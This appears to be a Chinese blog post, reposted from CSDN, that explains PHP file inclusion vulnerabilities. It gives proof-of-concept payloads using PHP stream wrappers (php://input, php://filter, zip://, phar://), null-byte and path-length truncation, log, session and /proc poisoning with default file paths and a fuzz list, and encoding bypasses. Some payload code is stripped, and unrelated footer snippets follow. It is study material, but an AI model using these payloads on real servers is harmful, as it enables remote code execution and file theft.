<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    文件包含漏洞相關知識總結

    VSole2022-06-28 22:59:01

    1. 文件包含漏洞概念

    1. 通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入

    2. 文件包含漏洞的環境要求

    1. allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據
    2. allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件

    3. 常見文件包含函數

    include()和require()區別

    include在引入不存文件時產生一個警告且腳本還會繼續執行,require則會導致一個致命性錯誤且腳本停止執行

    新建include.php文件


    $a='phpinfo1.php';#包含不存在的文件
    include $a;
    #require $a;
    echo "123";
    ?>
    

    運行結果:require包含不會顯示123

    1. require_once和include_once該文件中已經被包含過,則不會再次包含

    4. PHP偽協議在文件包含漏洞中的利用

    4.1. php://input

    1. php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行

    如果存在文件包含漏洞,可將php://input作為文件名傳入,同時在post中注入設置想要注入的代碼,php執行時就會將post的內容作為php代碼執行

    4.1.1. 使用條件

    1. allow_url_fopen:off/on
    2. allow_url_include:on

    4.1.2. 實例


    error_reporting(0);
    $file=$_GET["file"];
    if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){
    exit('hacker!');
    }
    if($file){
        if($file!="http://www.baidu.com")echo"tips:flag在當前目錄的某個文件中";
        include($file);
    }else{
        echo'click go baidu';
    }
    ?>
    

    執行任意代碼poc:


    ?file=php://input
    post數據:
    

    寫入木馬poc:


    ?file=php://input
    post數據:
    ');?>
    

    讀取目錄結構poc:


    ?file=php://inputpost數據:
    post數據:
    

    4.2. data://

    4.2.1. poc


    data://[][;charset=][;base64],
    ?file=data://,
    ?file=data://text//plain,
    ?file=data://text/plain;base64,xxxxxxxxx
    ?file=data:text/plain,
    ?file=data:text/plain;base64,xxxxxxxxxx
    

    4.2.2.file://,zip://,compress.zlib://和bzip2://

    4.3.1. 使用條件

    1. allow_url_fopen:off/on
    2. allow_url_include:off/on
    3. file://用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響(相同類型的還有zip://,zlib://和bzip2://)
    4. file://必須是絕對路徑

    4.3.2. poc

    以zip://為例

    要用#分隔壓縮包和壓縮包里的內容,并且#要用url編碼%23

    http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

    先將要執行的PHP代碼寫好文件名為code.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。

    4.4. phar://

    4.4.1. poc

    phar://...(當前腳本的絕對路徑).../1.zip/1.php

    4.5. php://filter

    php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件行。所以我們一般對其進行編碼,讓其不執行。從而導致任意文件讀取。

    poc:


    ?file=php://filter/resource=xxx.php
    或
    ?file=php://filter/read=convert.base64-encode/resource=xxx.php
    或
    ?file=php://filter/convert.base64-encode/resource=xxx.php #可繞過過濾了操作名read的waf
    或
    ?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重寫resource繞過正則為"/resource=*.jpg/i"的waf
    

    4.6. 總結

    php://input和data://可以注入任意代碼;file://,zip://,zlib://,bzip2://,phar,php://filter可用于讀取文件,可以結合文件上傳漏洞進行利用。

    5. 文件包含漏洞的截斷

    5.1. %00截斷

    5.1.1. 要求

    1. php版本小于5.3.4
    2. magic_quotes_gpc為off狀態

    magic_quotes_gpc為on狀態時%00前會被自動加上一個反斜杠轉義

    5.1.2. 實例

    index.php


    if(empty($_GET["file"])){
    echo('../flag.php');
    return;
    }
    else{
    $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html后綴名的文件,如果想訪問.php后綴名的文件就需要截斷后面的.html
    include $filename;
    }
    ?>
    

    poc


    index.php?file=../../flag.php%00
    

    5.2. 路徑長度截斷

    5.2.1. 要求

    1. php版本小于5.2.8


    5.2.2. 操作系統文件長度限制

    1. windows 259個bytes
    2. linux 4096個bytes

    5.2.3. 實例

    index.php


    if(empty($_GET["file"])){
    echo('../flag.php');
    return;
    }
    else{
    $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html后綴名的文件,如果想訪問.php后綴名的文件就需要階段后面的.html
    include $filename;
    }
    ?>
    

    5.2.4. poc

    windows:

    poc1:file=../../flag.php..............................................................................................................................................................................................................................................

    poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

    5.3. 總結

    一般來說如果php版本在5.3.4以下,先嘗試使用%00截斷,如果不行再使用路徑長度截斷

    6. 包含Apache日志文件

    WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。

    6.1. 使用條件

    1. 對日志文件可讀
    2. 知道日志文件存儲目錄
    3. curl命令行url請求工具(避免url轉碼的存在)

    6.2. 獲取日志存放路徑

    日志默認路徑

    (1) apache+Linux日志默認路徑

    /etc/httpd/logs/access_log

    /var/log/httpd/access_log

    (2) apache+win2003日志默認路徑

    D:\xampp\apache\logs\access.log

    D:\xampp\apache\logs\error.log

    (3) IIS6.0+win2003默認日志文件

    C:\WINDOWS\system32\Logfiles

    (4) IIS7.0+win2003 默認日志文件

    %SystemDrive%\inetpub\logs\LogFiles

    (5) nginx 日志文件

    日志文件在用戶安裝目錄logs目錄下

    以我的安裝路徑為例/usr/local/nginx,

    那我的日志目錄就是在/usr/local/nginx/logs里

    6.3. 利用方式

    使用瀏覽器訪問特殊字符會被編碼,可以使用curl避免特殊字符被編碼,但是需要注意的是[ ]在curl是特殊符號,需要進行轉義 ,不然curl使用時會報錯

    curl -v "http://xxxxx/file.php?page="?page="

    7. 包含SSH log 日志

    7.1. 利用條件

    需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log

    7.2. 利用方式

    1. 首先使用ssh連接

        ssh ''@remotehost

    1. 然后隨意輸入密碼
    2. 最后結合文件包含漏洞即可利用

    8. 包含SESSION

    8.1. 利用條件

    1. 找到Session內的可控變量
    2. Session文件可讀寫,并且知道存儲路徑

        php的session文件的保存路徑可以在phpinfo的session.save_path看到

    8.2. session常見存儲路徑

    1. /var/lib/php/sess_PHPSESSID
    2. /var/lib/php/sess_PHPSESSID
    3. /tmp/sess_PHPSESSID
    4. /tmp/sessions/sess_PHPSESSID
    5. session文件格式:sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到

    9. 包含environ

    利用條件:

    php以cgi方式運行,這樣environ才會保持UA頭。

    environ文件存儲位置已知,且environ文件可讀。

    姿勢:

    /proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到中。之后再包含它即可。

    10. 包含/proc/self/fd/[environreferer]

    apache的錯誤日志可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的測試器模塊fuzz出該文件結構

    fuzz字典:

    /proc/self/cmdline

    /proc/self/stat

    /proc/self/status

    /proc/self/fd/0

    /proc/self/fd/1

    /proc/self/fd/2

    /proc/self/fd/3

    /proc/self/fd/4

    /proc/self/fd/5

    /proc/self/fd/6

    /proc/self/fd/7

    /proc/self/fd/8

    /proc/self/fd/9

    /proc/self/fd/10

    /proc/self/fd/11

    /proc/self/fd/12

    /proc/self/fd/13

    /proc/self/fd/14

    /proc/self/fd/15

    /proc/self/fd/16

    /proc/self/fd/17

    /proc/self/fd/18

    /proc/self/fd/19

    /proc/self/fd/20

    /proc/self/fd/21

    /proc/self/fd/22

    /proc/self/fd/23

    /proc/self/fd/24

    /proc/self/fd/25

    /proc/self/fd/26

    /proc/self/fd/27

    /proc/self/fd/28

    /proc/self/fd/29

    /proc/self/fd/30

    /proc/self/fd/31

    /proc/self/fd/32

    /proc/self/fd/33

    /proc/self/fd/34

    /proc/self/fd/35

    11. 包含臨時文件

    php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。

    由于包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。

    另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance

    12. 其他包含姿勢

    1. 包含stmp日志
    2. 包含xss
    3. 包含上傳文件

    13. 文件包含漏洞的繞過方法

    13.1. 特定前綴繞過

    13.1.1. 目錄遍歷

    使用 …/…/ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php

    13.1.2. 編碼繞過

    服務器端常常會對于…/等做一些過濾,可以用一些編碼來進行繞過。

    服務器端常常會對于…/等做一些過濾,可以用一些編碼來進行繞過。

    1.利用url編碼


    /%2e%2e%2f
    ...
    %2f%2e%2e/
    \%2e%2e%5c
    ...
    %5c%2e%2e\
    

    2.二次編碼


    /%252e%252e%252f
    /%252e%252e%255c
    
    1. 13.2. 指定后綴繞過

    13.2.1. query(?)

    [訪問參數] ?file=http://localhost:8081/phpinfo.php?

    [拼接后] ?file=http://localhost:8081/phpinfo.php?.txt

    ?將后面的.txt截斷,web服務器會認為.txt是一個新的參數

    13.2.2. fragment(#)

    [訪問參數] ?file=http://localhost:8081/phpinfo.php%23

    [拼接后] ?file=http://localhost:8081/phpinfo.php#.txt

    13.2.3. zip://

    [訪問參數] ?file=zip://D:\zip.jpg%23phpinfo

    [拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt

    13.2.4. phar://

    [訪問參數] ?file=phar://zip.zip/phpinfo

    [拼接后] ?file=phar://zip.zip/phpinfo.txt

    以上轉載:https://blog.csdn.net/qq_27710251/article/details/108039876

    文件目錄fd
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一、Docker逃逸 1、docker daemon api未授權訪問 漏洞原理:在使用docker swarm的時候,節點上會開放一個TCP端口2375,綁定在0.0.0.0上,如果我們使用HTTP的方式訪問會返回404 利用思路:通過掛在宿主機的目錄,寫定時任務獲取SHELL,從而逃逸。
    紅藍對抗—藍隊手冊
    2022-03-18 14:22:22
    紅藍對抗的主要目的在于,提高公司安全成熟度及其檢測和響應攻擊的能力。
    最全Linux命令總結
    隨著Web應用攻擊手段變得復雜,基于請求特征的防護手段,已經不能滿足企業安全防護需求。在2012年的時候,Gartner引入了“Runtime application self-protection”一詞,簡稱為RASP,屬于一種新型應用安全保護技術,它將防護功能“ 注入”到應用程序中,與應用程序融為一體,使應用程序具備自我防護能力,當應用程序遭受到實際攻擊傷害時,能實時檢測和阻斷安全攻擊,而不需要進行人工干預。實現了在攻擊鏈路最關鍵的地方阻斷攻擊。
    雖然平時大部分工作都是和網絡相關, 但會接觸Linux系統, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行環境中. 自己記憶力不好, 很多有用的Linux命令不能很好的記憶, 現在逐漸總結一下, 以便后續查看。基本操作Linux 關機,重啟#?查看當前用戶環境變量。查看有幾顆cpu,每顆分別是幾核。
    Linux比較麻煩的就是很多東西都要用命令來控制,當然,這也是很多人喜歡它的原因,比較短小但卻功能強大。
    BypassUAC技術總結
    2022-05-02 06:57:08
    用戶帳戶控制(User Account Control,簡寫作UAC)是微軟公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系統中采用的一種控制機制,保護系統進行不必要的更改,提升操作系統的穩定性和安全性。
    恰巧近期有一枚和容器逃逸相關的漏洞:CVE-2022-0492 Linux內核權限提升漏洞可導致容器意外逃逸。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类